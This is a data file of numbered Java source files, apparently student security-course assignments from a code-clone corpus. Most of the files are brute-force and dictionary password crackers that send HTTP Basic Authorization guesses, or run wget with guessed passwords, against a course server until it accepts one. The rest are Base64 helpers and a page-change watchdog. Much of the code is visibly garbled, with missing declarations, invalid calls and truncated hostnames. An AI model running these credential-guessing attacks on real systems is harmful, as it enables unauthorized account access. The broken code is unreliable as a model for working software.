((bytes[i] & 3) << 4); + tmp = tmp + baseTable.charAt( pos ); + + tmp = tmp + ""==""; + } + } + return tmp; + + } + + + public static String encode(String src) { + + return encode(src.getBytes()); + } + + public static byte[] decode(String src) throws Exception { + + byte[] bytes = null; + + StringBuffer buf = new StringBuffer(src); + + + int i = 0; + char c = ' '; + char oc = ' '; + while( i < buf.length()) { + oc = c; + c = buf.charAt(i); + if( oc == '\r' && c == '\n') { + buf.deleteCharAt(i); + buf.deleteCharAt(i-1); + i -= 2; + } else if( c == '\t') { + buf.deleteCharAt(i); + i --; + } else if( c == ' ') { + i --; + } + i++; + } + + + if(buf.length() % 4 != 0) { + throw new Exception(""Base64 decoding invalid length""); + } + + + bytes = new byte[3 * (buf.length() / 4)]; + + + int index = 0; + + + for(i = 0; i < buf.length(); i+=4) { + + byte data = 0; + int nGroup = 0; + + for(int j = 0; j < 4; j++) { + + char theChar = buf.charAt(i + j); + + if(theChar == '=') { + data = 0; + } else { + data = getBaseTableIndex(theChar); + } + + if(data == -1) { + throw new Exception(""Base64 decoding bad character""); + } + + nGroup = 64*nGroup + data; + } + + bytes[index] = (byte) (255 & (nGroup >> 16)); + index ++; + + bytes[index] = (byte) (255 & (nGroup >> 8)); + index ++; + + bytes[index] = (byte) (255 & (nGroup)); + index ++; + } + + byte[] newBytes = new byte[index]; + for(i = 0; i < index; i++) { + newBytes[i] = bytes[i]; + } + + return newBytes; + } + + + protected static byte getBaseTableIndex(char c) { + + byte index = -1; + + for(byte i = 0; i < baseTable.length(); i ++) { + + if(baseTable.charAt(i) == c) { + index = i; + break; + } + } + + return index; + } +}" +042.java,"import java.net.*; +import java.io.*; + +public class BruteForce { + private String strUserName; + private String strURL; + private int iAttempts; + + public BruteForce(String strURL,String strUserName) { + this.strURL = strURL; + this.strUserName = strUserName; + this.iAttempts = 0 ; + + } + + public String getPassword(){ + URL u; + String result =""""; + PassGenBrute PG = new PassGenBrute(3); + URLConnection uc; + String strPassword = new String(); + String strEncode; + try{ + while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ + + strEncode = PG.getNewPassword(); + u = new URL(strURL); + uc = u.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + strPassword = strEncode; + strEncode = strUserName + "":"" + strEncode; + + strEncode = new String(Base64.encode(strEncode.getBytes())); + uc.setRequestProperty(""Authorization"","" "" + strEncode); + + result = uc.getHeaderField(0); + uc = null; + u = null; + iAttempts++; + } + + } + catch (Exception me) { + System.out.println(""MalformedURLException: ""+me); + } + return(strPassword); + } + + public int getAttempts(){ + return (iAttempts); + }; + + public static void main (String arg[]){ + timeStart = 0; + timeEnd = 0; + + if (arg.length == 2) { + BruteForce BF = new BruteForce(arg[0],arg[1]); + System.out.println(""Processing ... ""); + timeStart = System.currentTimeMillis(); + + System.out.println(""Password = "" + BF.getPassword()); + timeEnd = System.currentTimeMillis(); + System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); + System.out.println(""Total Attempts = "" + BF.getAttempts()); + } + else { + System.out.println(""[Usage] java BruteForce ""); + + } + + } +} + +class PassGenBrute { + private char[] password; + public PassGenBrute(int lenght) { + password = new char[lenght]; + for (int i = 0; i < lenght; i++){ + password[i] = 65; + } + password[0]--; + } + + public String getNewPassword() + throws PasswordFailureException{ + password[0]++; + + try { + for (int i=0; i 122) { + password[i] = 65; + password[i+1]++; + } + } + } + catch (RuntimeException re){ + throw new PasswordFailureException (); + } + return new String(password); + } +} + +class PasswordFailureException extends RuntimeException { + + public PasswordFailureException() { + } +}" +214.java," + +import java.io.*; +import java.net.*; +import java.util.*; +import java.*; + + +public class WatchDog +{ + + public static void main (String args[]) + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + int flag=1; + int loop=0; + String ServerType = new String(); + String LastModified = null; + String urlString = new String(""http://www.cs.rmit.edu./students/""); + + + storeNewFile snf = new storeNewFile(""History.txt""); + storeNewFile snf1 = new storeNewFile(""Comparison.txt""); + String result = null; + getImage myGI = new getImage(); + Process myProcess; + String line = null; + stime = System.currentTimeMillis(); + while(loop<5) + { + try { + URL url = new URL (urlString); + URLConnection uc = url.openConnection(); + InputStream content = (InputStream)uc.getContent(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line2; + while ((line2 = in.readLine()) != null) { + + pw.println (line2); + } + snf1.getStringW(); + if(LastModified !=null) + { + + + differenceFile df = new differenceFile(); + result = df.compareFile(); + } + if(LastModified==null) + { + System.out.println(""first check""); + LastModified=uc.getHeaderField(1); + ServerType=uc.getHeaderField(2); + snf.getStringW(); + myGI.tokenFile(""History.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + } + else if(result==null) + { + myGI.tokenFile(""Comparison.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt"")); + line=inputStream.readLine(); + + if(line == null) + { + System.out.println("" changes far..""); + } + else + { + while(line!=null) + { + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line); + line=inputStream.readLine(); + } + } + inputStream.close(); + } + else + { + + snf.translogFile(result); + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result); + System.out.println("" email is sent.. sent..sent..""); + snf.getStringW(); + } + snf.closeStream(); + snf1.closeStream(); + + try{ + synchronized(url){ + url.wait(15000); + } + } + catch(InterruptedException e) { + System.out.println(""Error in wait() method""); + } + catch(Exception e){ + e.printStackTrace(); + } + loop++; + endtime=System.currentTimeMillis(); +System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); + + }catch (MalformedURLException e) { + pw.println (""Invalid URL""); + }catch (IOException e) { + pw.println (""Error URL""); + } + } + + System.out.println(""ETag is ""+ ServerType); + System.out.println(""LastModified is ""+ LastModified); + } +}" +056.java," + + + + + + class BruteForce + { + public static void main (String []a)throws Exception + { + PasswordGen p1,p2,p3,p4,p5,p6,p7,p8; + int count=1; + p1=new PasswordGen(1,""1""); + p2=new PasswordGen(2,""2""); + p3=new PasswordGen(3,""3""); + p4=new PasswordGen(4,""4""); + p5=new PasswordGen(5,""5""); + p6=new PasswordGen(6,""6""); + p7=new PasswordGen(7,""7""); + p8=new PasswordGen(8,""8""); + + + p1.t.join(); + p2.t.join(); + p3.t.join(); + p4.t.join(); + p5.t.join(); + p6.t.join(); + p7.t.join(); + p8.t.join(); + + + + } + } + + + + class PasswordGen implements Runnable + { + + char upperAlpha[] =new char[26]; + char lowerAlpha[]=new char[26]; + char lowerChar='a',upperChar='A'; + String passwd1; + + int threadNumber=0; + static boolean successFlag=false; + + + Thread t; + static String crackedPasswd=""""; + + + + PasswordGen(int Number,String name) + { + for(int i=0;i<26;i++) + { + upperAlpha[i]=upperChar; + lowerAlpha[i]=lowerChar; + upperChar++; + lowerChar++; + + } + + this.threadNumber=Number; + t= new Thread(this,name); + t.exec(); + + } + + public void run() + { + int i,j,k; + String url; + int exitValue=-1; + int startTime=0,finishTime=0; + int noAttempts=0; + + try + { + switch(threadNumber) + { + + case 1: + + startTime=System.currentTimeMillis(); + for(i=25;i>=0;i--) + { + for( j=25;j>=0;j--) + { + for( k=25;k>=0;k--) + { + try + { + if(successFlag)break; + passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + + + } + } + catch(Exception e){System.out.println(e);} + + } + } + } + + break; + + + case 2: + for(i=0;i<=25;i++) + { + for( j=0;j<=25;j++) + { + for( k=0;k<=25;k++) + { + + if(successFlag)break; + try + { + passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k]; + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + System.out.println(passwd1); + exitValue=executemyurl(url); + + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + } + } + catch(Exception e){System.out.println(e);} + } + } + } + break; + + case 3: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + if(successFlag)break; + try + { + passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k]; + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + System.out.println(passwd1); + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + + } + + + } + catch(Exception e){System.out.println(e);} + } + } + } + break; + + case 4: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + if(successFlag)break; + try + { + passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + } + + } + catch(Exception e){System.out.println(e);} + } + } + } + break; + + case 5: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + if(successFlag)break; + try + { + passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + + } + + + } + catch(Exception e){System.out.println(e);} + } + } + } + break; + case 6: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + if(successFlag)break; + try + { + passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue== 0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + + } + } + catch(Exception e){System.out.println(e);} + } + } + } + break; + case 7: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + if(successFlag)break; + try + { + passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + } + + } + catch(Exception e) + { + System.out.println(e); + + } + + } + } + } + break; + case 8: + for(i=0;i<26;i++) + { + for(j=0;j<26;j++) + { + for(k=0;k<26;k++) + { + + if(successFlag)break; + try + { + passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k]; + System.out.println(passwd1); + url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + + exitValue=executemyurl(url); + noAttempts++; + + if(exitValue==0) + { + crackedPasswd= passwd1; + System.out.println(""Cracked Passwd is:=""+crackedPasswd); + successFlag=true; + finishTime=System.currentTimeMillis(); + System.out.println(""Time taken crack the password is :""+((finishTime-startTime)/1000) +""seconds""); + System.out.println(noAttempts); + } + } + catch(Exception e){System.out.println(e);} + } + } + } + + break; + } + } + + catch(Exception e ){System.out.println();} + } + + int executemyurl(String url) throws Exception + { + Process p; + Runtime r=Runtime.getRuntime(); + p=r.exec(url); + p.waitFor(); + r.freeMemory(); + r.gc(); + return p.exitValue(); + } + + } + + + +" +153.java,"import java.io.*; +import java.net.*; + +public class BruteForce { + public static void main(String[] args) { + BruteForce brute=new BruteForce(); + brute.start(); + + + } + + +public void start() { +char passwd[]= new char[3]; +String password; +String username=""""; +String auth_data; +String server_res_code; +String required_server_res_code=""200""; +int cntr=0; + +try { + +URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); +URLConnection conn=null; + + + for (int i=65;i<=122;i++) { + if(i==91) { i=i+6; } + passwd[0]= (char) i; + + for (int j=65;j<=122;j++) { + if(j==91) { j=j+6; } + passwd[1]=(char) j; + + for (int k=65;k<=122;k++) { + if(k==91) { k=k+6; } + passwd[2]=(char) k; + password=new String(passwd); + password=password.trim(); + auth_data=null; + auth_data=username + "":"" + password; + auth_data=auth_data.trim(); + auth_data=getBasicAuthData(auth_data); + auth_data=auth_data.trim(); + conn=url.openConnection(); + conn.setDoInput (true); + conn.setDoOutput(true); + conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); + conn.setRequestProperty (""Authorization"", auth_data); + server_res_code=conn.getHeaderField(0); + server_res_code=server_res_code.substring(9,12); + server_res_code.trim(); + cntr++; + System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); + if( server_res_code.compareTo(required_server_res_code)==0 ) + {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); + i=j=k=123;} + } + + } + + } + } + catch (Exception e) { + System.err.print(e); + } + } + +public String getBasicAuthData (String getauthdata) { + +char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' } ; + + String encodedString = """"; + byte bytes [] = getauthdata.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return "" "" + encodedString; + } +}" +204.java," +import java.io.*; +import java.net.*; + +public class Copier +{ + private URL target; + + public Copier( String fileName) + { + try + { + String line; + BufferedReader ; + BufferedWriter bout; + target = new URL( ""http://www.cs.rmit.edu./students""); + InputStream hm = target.openStream(); + HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection(); + bf = new BufferedReader( new InputStreamReader( target.openStream())); + bout = new BufferedWriter(new FileWriter(fileName)); + while((line = bf.readLine()) != null) + { + bout.write( line+""\n""); + } + + bout.print(); + } + catch( Exception e) + { + System.out.println(""Something wrong! ""+e); + System.exit(0); + } + } + public static void main (String[] args) + { + Copier c = new Copier(""response.html""); + } +} + + + + + + + + + + +" +085.java," + + +import java.Thread; +import java.io.*; +import java.net.*; + +public class Dictionary extends Thread { + final static int SUCCESS=1, + FAILED=0, + UNKNOWN=-1; + private static String host, + path, + user; + private Socket target; + private InputStream input; + private OutputStream output; + private byte[] data; + private int threads, + threadno, + response; + public static boolean solved = false; + Dictionary parent; + static LineNumberReader lnr; + + + public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) + { + super(); + this.parent = parent; + this.host = host; + this.path = path; + this.user = user; + this.threads = threads; + this.threadno = threadno; + } + + public void run() + { + response = FAILED; + int x = 0; + String word = """"; + starttime = System.currentTimeMillis(); + + try + { + boolean passwordOkay; + while(word != null && !parent.solved) + { + passwordOkay = false; + while(!passwordOkay || word == null) + { + word = lnr.readLine(); + passwordOkay = true; + if(word.length() != 3) passwordOkay = false; + } + + response = tryLogin(word); + x++; + if(response == SUCCESS) + { + System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word); + parent.solved = true; + } + if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")""); + } + } + catch(Exception e) + { + System.err.println(""Error while from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); + } + + if(response == SUCCESS) + { + System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec.""); + System.out.println(""Thread . "" + threadno + "" was the one!""); + } + } + + public static void main (String[] args) + { + Dictionary parent; + try + { + lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words"")); + } + catch(Exception e) + { + System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); + } + Dictionary[] attackslaves = new Dictionary[10]; + if(args.length == 3) + { + host = args[0]; + path = args[1]; + user = args[2]; + } + else + { + System.out.println(""Usage: Dictionary ""); + System.out.println("" arguments specified, using standard values.""); + host = ""sec-crack.cs.rmit.edu.""; + path = ""/SEC/2/index.php""; + user = """"; + } + System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); + System.out.println(""Using "" + attackslaves.length + "" happy threads...""); + + parent = new Dictionary(host, path, user, 0, 0, null, lnr); + + for(int i=0; i 0) { + System.exit(0); + } + } + + + for (int b = 0; b < 52; b++) { + l1 = b; + for (int c = 0; c < 52; c++) { + + l2 = c; + pwd = val[l1]+ val[l2]; + retval = 0; + retval = s.runProcess(urlToSearch,pwd); + if (retval > 0) { + System.exit(0); + } + } + } + + + for (int d = 0; d < 52; d++) { + l1 = d; + for (int e = 0; e < 52; e++) { + l2 = e; + for (int f = 0; f < 52; f++) { + + l3 = f; + + pwd = val[l1]+ val[l2]+ val[l3]; + retval = 0; + retval = s.runProcess(urlToSearch,pwd); + if (retval > 0) { + System.exit(0); + } + } + } + } + + } +} + +" +092.java,"import java.io.*; +import java.net.*; +import java.misc.*; + + +public class Dictionary +{ + + public static void main (String args[]) throws IOException + { + final int maxLength = 3; + final String username = """"; + final File dicFile = new File(""/usr/share/lib/dict/words""); + final URL pageURL = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + String password=""""; + BASE64Encoder encoder = new BASE64Encoder(); + boolean notFound = true; + HttpURLConnection conn; + + BufferedReader reader = new BufferedReader(new FileReader(dicFile)); + + while (notFound&&((password = reader.readLine()) != null)) + { + if(password.length()>maxLength) + { + continue; + } + + conn = (HttpURLConnection) pageURL.openConnection(); + + conn.setRequestProperty(""Authorization"", "" ""+encoder.encode((username+"":""+password).getBytes())); + + if((conn.getResponseCode())==HttpURLConnection.HTTP_OK) + { + notFound=false; + } + + } + + reader.print(); + + if(notFound) + { + System.out.println("" valid password in dictionary file.""); + } + else + { + System.out.println(""Found valid password: \""""+password+""\""""); + } + } +} + +" +222.java," + +import java.net.*; +import java.io.*; + +public class Base64Encoder +{ + private final static char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' + }; + + public static String encode (String string) + { + String encodedString = """"; + byte bytes [] = string.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) + { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) + { + b2 = 0; + b3 = 0; + pad = 2; + } + else + { + b2 = bytes [i++]; + if (i >= bytes.length) + { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) + { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } +} +" +039.java," +public class CasePasswords +{ + + + static int verbose = CrackingConstants.quietMode; + + + + public void CasePasswords() + { + } + + + public void CasePasswords(int inVerbose) + { + verbose = inVerbose; + } + + + public String [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType) + { + String [] casedPasswords = null; + + + + if(scanType == CrackingConstants.casedScan) + if(rightIndex > -1) + { + + casedPasswords = new String[8]; + } + else if(midIndex > -1) + { + + casedPasswords = new String[4]; + } + else + { + + casedPasswords = new String[2]; + } + else + { + + casedPasswords = new String[1]; + } + + + + + if(scanType == CrackingConstants.casedScan) + { + if(rightIndex > -1) + { + + casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; + casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex]; + casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex]; + casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex]; + casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; + casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex]; + casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex]; + casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex]; + } + else if(midIndex > -1) + { + + casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]; + casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex]; + casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex]; + casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]; + } + else + { + + casedPasswords[0] = lowerChars[leftIndex]; + casedPasswords[1] = upperChars[leftIndex]; + } + } + else + { + if(rightIndex > -1) + { + + casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; + } + else if(midIndex > -1) + { + + casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]; + } + else + { + + casedPasswords[0] = lowerChars[leftIndex]; + } + } + + + + + + if("""" != tail) + for( i = 0; i < casedPasswords.length; i++) + casedPasswords[i] += tail; + + if(verbose == CrackingConstants.verboseMode2) + printPasswords(casedPasswords); + + return casedPasswords; + } + + + public String [] createCasedPasswords(String candidate, int scanType) + { + + int candLength = candidate.length(); + int arrayLength = 2 ^ candLength; + arrayLength = 1; + String [] shortCasedPasswords = new String[1]; + String [] casedPasswords = null; + char[] password = new char [candidate.length()]; + + + if(scanType != CrackingConstants.simpleScan) + candidate.getChars(0, candidate.length(), password, 0); + + + + + + + + + + + if(scanType == CrackingConstants.simpleScan) + { + + + casedPasswords = new String[1]; + casedPasswords[0] = candidate; + } + else if(candidate.length() == 1) + { + casedPasswords = new String[2]; + casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])); + casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])); + + } + else if (candidate.length() == 2) + { + casedPasswords = new String[4]; + casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])); + casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])); + casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])); + casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])); + + } + else if (candidate.length() == 3) + { + casedPasswords = new String[8]; + casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]); + casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]); + casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]); + casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]); + casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]); + casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]); + casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]); + casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]); + + } + else if (candidate.length() > 3) + { + casedPasswords = new String[8]; + String tailCharacters = new String(password, 3, (password.length - 3)); + casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; + casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; + casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; + casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; + casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; + casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters; + casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; + casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters; + + } + + if(verbose == CrackingConstants.verboseMode2) + printPasswords(casedPasswords); + + return casedPasswords; + } + + + + private void printPasswords(String [] passwords) + { + if(passwords.length > 0) + { + for( i = 0; i < passwords.length; i++) + { + System.out.print(passwords[i] + ""\t""); + } + System.out.println(""\n""); + } + } + +} +" +078.java,"import java.util.*; +import java.net.*; +import java.io.*; + +public class BruteForce +{ + boolean connected = false; + int counter; + String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"", + ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"", + ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"", + ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"", + ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", + ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"", + ""W"",""X"",""Y"",""Z""}; + Vector combinations = new Vector(); + + BruteForce() + { + counter = 0; + this.genCombinations(); + this.startAttack(); + } + + public void startAttack() + { + while(counter= iEnd) bDone = true; + } + } + +} +" +041.java," + +public class Base64 { + + +static public char[] encode(byte[] data) +{ + char[] out = new char[((data.length + 2) / 3) * 4]; + + + + + + for (int i=0, index=0; i>= 6; + out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)]; + bat >>= 6; + out[index+1] = alphabet[bat & 0x3F]; + bat >>= 6; + out[index+0] = alphabet[ bat & 0x3F]; + } + return out; +} + + +static public byte[] decode(char[] data) +{ + + + + + + + + int tempLen = data.length; + for( int ix=0; ix 255) || 